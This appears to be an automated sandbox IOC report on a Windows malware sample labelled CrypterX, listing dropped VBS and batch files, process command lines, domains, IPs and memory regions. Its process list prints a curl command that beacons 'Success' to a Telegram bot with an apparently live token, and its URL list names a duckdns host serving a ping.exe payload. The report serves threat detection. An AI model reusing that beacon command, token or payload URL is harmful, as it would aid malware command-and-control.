IOC Report
SecuriteInfo.com.Win64.CrypterX-gen.14448.17144.exe

loading gif

Files

File Path
Type
Category
Malicious
SecuriteInfo.com.Win64.CrypterX-gen.14448.17144.exe
PE32+ executable (GUI) x86-64, for MS Windows
initial sample
 malicious
C:\Users\user\AppData\Local\Temp\RarSFX0\ping.vbs
ASCII text, with CRLF line terminators
dropped
 malicious
C:\Users\user\AppData\Local\Temp\tmp.vbs
PE32+ executable (GUI) x86-64, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Temp\RarSFX0\ping.bat
ASCII text, with no line terminators
dropped

Processes

Path
Cmdline
Malicious
C:\Users\user\Desktop\SecuriteInfo.com.Win64.CrypterX-gen.14448.17144.exe
"C:\Users\user\Desktop\SecuriteInfo.com.Win64.CrypterX-gen.14448.17144.exe"
 malicious
C:\Users\user\AppData\Local\Temp\tmp.vbs
C:\Users\user\AppData\Local\Temp\tmp.vbs
 malicious
C:\Windows\System32\wscript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\ping.vbs"
malicious
C:\Windows\System32\curl.exe
curl "https://api.telegram.org/bot6745390378:AAE-OclYKCeZrtg1BPEW2LqGF2ln2iBb-Ow/sendMessage?chat_id=6915129246&text=Success"
 malicious
C:\Windows\System32\cmd.exe
C:\Windows\system32\cmd.exe /c start C:\Users\user\AppData\Local\Temp\tmp.vbs
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\ping.bat" "
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

URLs

Name
IP
Malicious
https://curl.se/docs/hsts.html
unknown
https://curl.se/docs/alt-svc.html#
unknown
http://puredgb.duckdns.org:30000/xmg8oxqt/ping.exew
unknown
https://api.telegram.org/bot6745390378:AAE-OclYKCeZrtg1BPEW2LqGF2ln2iBb-Ow/sendMessage?chat_id=6915129246&text=Success
149.154.167.220
https://curl.se/docs/http-cookies.html
unknown
https://curl.se/docs/hsts.html#
unknown
http://puredgb.duckdns.org:30000/xmg8oxqt/ping.exe.dlll:
unknown
https://ibb.co/pjHVbzL).
unknown
http://puredgb.duckdns.org:30000/xmg8oxqt/ping.exel
unknown
http://decimate.onlinehey
unknown
https://curl.se/docs/http-cookies.html#
unknown
https://curl.se/docs/alt-svc.html
unknown
http://puredgb.duckdns.org:30000/xmg8oxqt/ping.exe
200.165.100.3
https://api.telegram.org/bot6745390378:AAE-OclYKCeZrtg1BPEW2LqGF2ln2iBb-Ow/sendMessage?chat_id=69151
unknown
http://decimate.online
unknown
There are 5 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
puredgb.duckdns.org
200.165.100.3
 malicious
api.telegram.org
149.154.167.220

IPs

IP
Domain
Country
Malicious
200.165.100.3
puredgb.duckdns.org
Brazil
malicious
149.154.167.220
api.telegram.org
United Kingdom
127.0.0.1
unknown
unknown

Registry

Path
Value
Malicious
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
LangID
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
C:\Windows\System32\WScript.exe.FriendlyAppName
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
C:\Windows\System32\WScript.exe.ApplicationCompany

Memdumps

Base Address
Regiontype
Protect
Malicious
AA8EAFF000
stack
page read and write
7FF7B0AB0000
unkown
page readonly
263EE950000
heap
page read and write
580D3FE000
stack
page read and write
263EEA81000
heap
page read and write
1FB15821000
heap
page read and write
17017E90000
heap
page read and write
7FF7B0B0B000
unkown
page read and write
1FB157A0000
remote allocation
page read and write
1FB1583B000
heap
page read and write
1FB1581E000
heap
page read and write
1FB15897000
heap
page read and write
263EEA31000
heap
page read and write
263EEA16000
heap
page read and write
263EEC8A000
trusted library allocation
page read and write
1FB157A0000
remote allocation
page read and write
263EE840000
heap
page read and write
263F2800000
heap
page read and write
263EEABE000
heap
page read and write
1FB1587E000
heap
page read and write
263EEAC1000
heap
page read and write
1FB1583B000
heap
page read and write
1FB1587E000
heap
page read and write
7FF7B329E000
unkown
page readonly
263EEA36000
heap
page read and write
AA8E6FE000
stack
page read and write
AA8E4FE000
stack
page read and write
7FF7B0B1C000
unkown
page readonly
7FF7B0AB1000
unkown
page execute read
263EEA2A000
heap
page read and write
1ACAF236000
heap
page read and write
263F08A1000
heap
page read and write
263F2902000
heap
page read and write
7FF7B0B12000
unkown
page read and write
263F2901000
heap
page read and write
7FF7B32C0000
unkown
page write copy
1ACAF208000
heap
page read and write
7FF7B0AB1000
unkown
page execute read
7FF7B32C1000
unkown
page write copy
1FB15760000
heap
page read and write
1FB1581E000
heap
page read and write
17017E70000
heap
page read and write
7FF7B0AF8000
unkown
page readonly
263EEAC5000
heap
page read and write
17017F16000
heap
page read and write
6B53FAC000
stack
page read and write
263EEA53000
heap
page read and write
1ACAF26F000
heap
page read and write
3A77CFF000
stack
page read and write
7FF7B329E000
unkown
page readonly
6B542FF000
stack
page read and write
263EEA4B000
heap
page read and write
7FF7B3220000
unkown
page readonly
1FB1583B000
heap
page read and write
3A779FE000
stack
page read and write
263EEA7B000
heap
page read and write
263F2900000
heap
page read and write
263EEAC1000
heap
page read and write
1FB1587E000
heap
page read and write
580D7FE000
stack
page read and write
17017F40000
heap
page read and write
1FB1581E000
heap
page read and write
17017E95000
heap
page read and write
263EEA7A000
heap
page read and write
AA8E8FD000
stack
page read and write
580D0FE000
stack
page read and write
1FB15800000
heap
page read and write
1ACAF2A9000
heap
page read and write
7FF7B3220000
unkown
page readonly
263F0690000
heap
page read and write
263EE9E0000
heap
page read and write
263F0630000
heap
page read and write
263F0890000
trusted library allocation
page read and write
263EEA2A000
heap
page read and write
263EEA70000
heap
page read and write
1FB15864000
heap
page read and write
1FB15818000
heap
page read and write
AA8E2F5000
stack
page read and write
17017F10000
heap
page read and write
1FB15750000
heap
page read and write
7FF7B0B1C000
unkown
page write copy
1FB15822000
heap
page read and write
7FF7B0AF8000
unkown
page readonly
1ACAF080000
heap
page read and write
1ACAF297000
heap
page read and write
1FB157B4000
heap
page read and write
1FB15818000
heap
page read and write
7FF7B3221000
unkown
page execute read
7FF7B0B18000
unkown
page readonly
263EEAD5000
heap
page read and write
263F2009000
heap
page read and write
AA8EBFC000
stack
page read and write
1FB1584F000
heap
page read and write
263EEA70000
heap
page read and write
263F2000000
trusted library allocation
page read and write
263F2008000
heap
page read and write
263EEAB7000
heap
page read and write
7FF7B0B0B000
unkown
page write copy
1ACAF180000
heap
page read and write
AA8E2EE000
stack
page read and write
1FB1584C000
heap
page read and write
1ACAF160000
heap
page read and write
7FF7B32C5000
unkown
page readonly
263EEAB7000
heap
page read and write
17017D70000
heap
page read and write
263EEA92000
heap
page read and write
263EECA0000
heap
page read and write
1ACAF200000
heap
page read and write
580D4FF000
stack
page read and write
263EEA81000
heap
page read and write
1FB1581D000
heap
page read and write
263EEA92000
heap
page read and write
263EEA92000
heap
page read and write
263EEAC5000
heap
page read and write
1FB15815000
heap
page read and write
7FF7B0AB0000
unkown
page readonly
1FB157B0000
heap
page read and write
17017F1C000
heap
page read and write
1FB15821000
heap
page read and write
1FB157A0000
remote allocation
page read and write
263EECA5000
heap
page read and write
1ACAF3AE000
heap
page read and write
1ACAF3A4000
heap
page read and write
263EECAE000
heap
page read and write
1ACAF3A0000
heap
page read and write
263EEA53000
heap
page read and write
580CD2A000
stack
page read and write
263EE9B4000
heap
page read and write
263EEA2B000
heap
page read and write
7FF7B0B1D000
unkown
page readonly
17017E50000
heap
page read and write
263EE930000
heap
page read and write
580D1FE000
stack
page read and write
17017F35000
heap
page read and write
263F07A0000
heap
page read and write
7FF7B3221000
unkown
page execute read
7FF7B0B18000
unkown
page readonly
263EE920000
heap
page readonly
580D9FB000
stack
page read and write
AA8E3FE000
stack
page read and write
1FB15780000
heap
page read and write
1FB15808000
heap
page read and write
3A77AFE000
stack
page read and write
263EE9B0000
heap
page read and write
7FF7B32C0000
unkown
page read and write
6B543FE000
stack
page read and write
7FF7B32C2000
unkown
page read and write
1FB15820000
heap
page read and write
263EEC71000
trusted library allocation
page read and write
7FF7B32C5000
unkown
page readonly
263EEA41000
heap
page read and write
1FB1584F000
heap
page read and write
263F2904000
heap
page read and write
1FB15850000
heap
page read and write
263EEABE000
heap
page read and write
580D8FF000
stack
page read and write
263F08A0000
heap
page read and write
1ACB0BF0000
heap
page read and write
1FB15897000
heap
page read and write
3A778FD000
stack
page read and write
AA8E9FE000
stack
page read and write
263EEA27000
heap
page read and write
263EE9E8000
heap
page read and write
1FB15864000
heap
page read and write
1FB15854000
heap
page read and write
1FB15821000
heap
page read and write
7FF7B32C4000
unkown
page read and write
1FB15897000
heap
page read and write
580D6FD000
stack
page read and write
There are 159 hidden memdumps, click here to show them.